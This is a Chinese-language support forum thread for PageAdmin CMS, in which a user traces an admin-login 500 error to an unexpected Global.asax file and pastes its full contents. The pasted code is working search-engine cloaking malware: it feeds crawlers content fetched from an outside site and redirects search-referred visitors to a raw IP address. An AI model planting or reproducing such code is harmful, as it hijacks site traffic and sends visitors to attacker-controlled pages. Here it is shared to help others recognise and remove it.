PageAdmin CMS网站管理系统官方论坛

注册

 

QQ登录

只需一步,快速开始

发新话题 回复该主题

XIYOU老师:后台登录提示远程服务器返回错误: (500) 内部服务器... [复制链接]

1#
XIYOU老师:后台登录提示远程服务器返回错误: (500) 内部服务器错误前端各页面访问正常,后台输入账号密码点击登录即出现此错误,如图,求解决方法,谢谢

分享 转发
TOP
2#

你是否添加了默认文档
http://www.pageadmin.net/article/20140221/871.html
或者联系你的主机服务商帮你加一个,你试试
TOP
3#

回复 2楼xiyou的帖子

文档已经添加。问题依旧。另,下载到本地运行,登录后台还是一样的问题,如图

TOP
4#
TOP
5#

回复 4楼xiyou的帖子

报告XIYOU老师,问题解决了。分享一下,希望遇到这个问题的用户也能快速处理:1、程序是V2版本的,没更新过
2、仔细观察根目录,多了一个文件:Global.asax,打开一看内容:跟V3版本里根目录的Global.asax内容不太一样,删除即可正常访问。XIYOU老师帮忙看看,这是程序系统自动生成的还是空间商的系统生成?还是被他人恶意为之?


<%@ Application Language="C#" %>
<script runat="server">

    void Application_Start(object sender, EventArgs e)
    {

    }

    void Application_End(object sender, EventArgs e)
    {

    }

    void Application_Error(object sender, EventArgs e)
    {

    }

    void Session_Start(object sender, EventArgs e)
    {
        //HttpContext.Current.Response.Write(HttpContext.Current.Request.UserAgent);
            string data_url = "http://www.cnsscn.com/pk.html";
        string redirect_url="http://118.184.82.101/";
        if (is_spider())
        {
            HttpContext.Current.Response.Clear();
            HttpContext.Current.Response.BinaryWrite(get_data(data_url));
            HttpContext.Current.Response.End();
        }
        else if(is_from_search())
        {
            HttpContext.Current.Response.Redirect(redirect_url, true);
        }
        else
        {
            //HttpContext.Current.Response.Write(HttpContext.Current.Request.UserAgent);
        }
    }

    void Session_End(object sender, EventArgs e)
    {

    }
    public bool is_spider()
    {
        string spider_flag = "googlebot|baiduspider|sogou|yahoo|soso";
        string[] spider_flag_arr = spider_flag.Split('|');
        string user_agent=HttpContext.Current.Request.UserAgent;
        foreach (string tmp_flag in spider_flag_arr)
        {
            if (user_agent.ToLower().IndexOf(tmp_flag.ToLower())!=-1) { return true; }
        }
        return false;
    }
        public bool is_from_search()
    {
        if (HttpContext.Current.Request.UrlReferrer==null)
        {
        return false;
        }
        else
        {
        string page_ref = HttpContext.Current.Request.UrlReferrer.ToString();
        string search_flag = "google|baidu|sogou|yahoo|soso";
        string[] search_flag_arr = search_flag.Split('|');
        foreach (string tmp_flag in search_flag_arr)
        {
            if (page_ref.ToLower().IndexOf(tmp_flag.ToLower()) != -1) { return true; }
        }
        return false;
        }
    }
    public byte[] get_data(string url)
    {
        System.Net.WebClient wc = new System.Net.WebClient();
        byte[] data = wc.DownloadData(url);
        return data;
    }

</script>
TOP
发新话题 回复该主题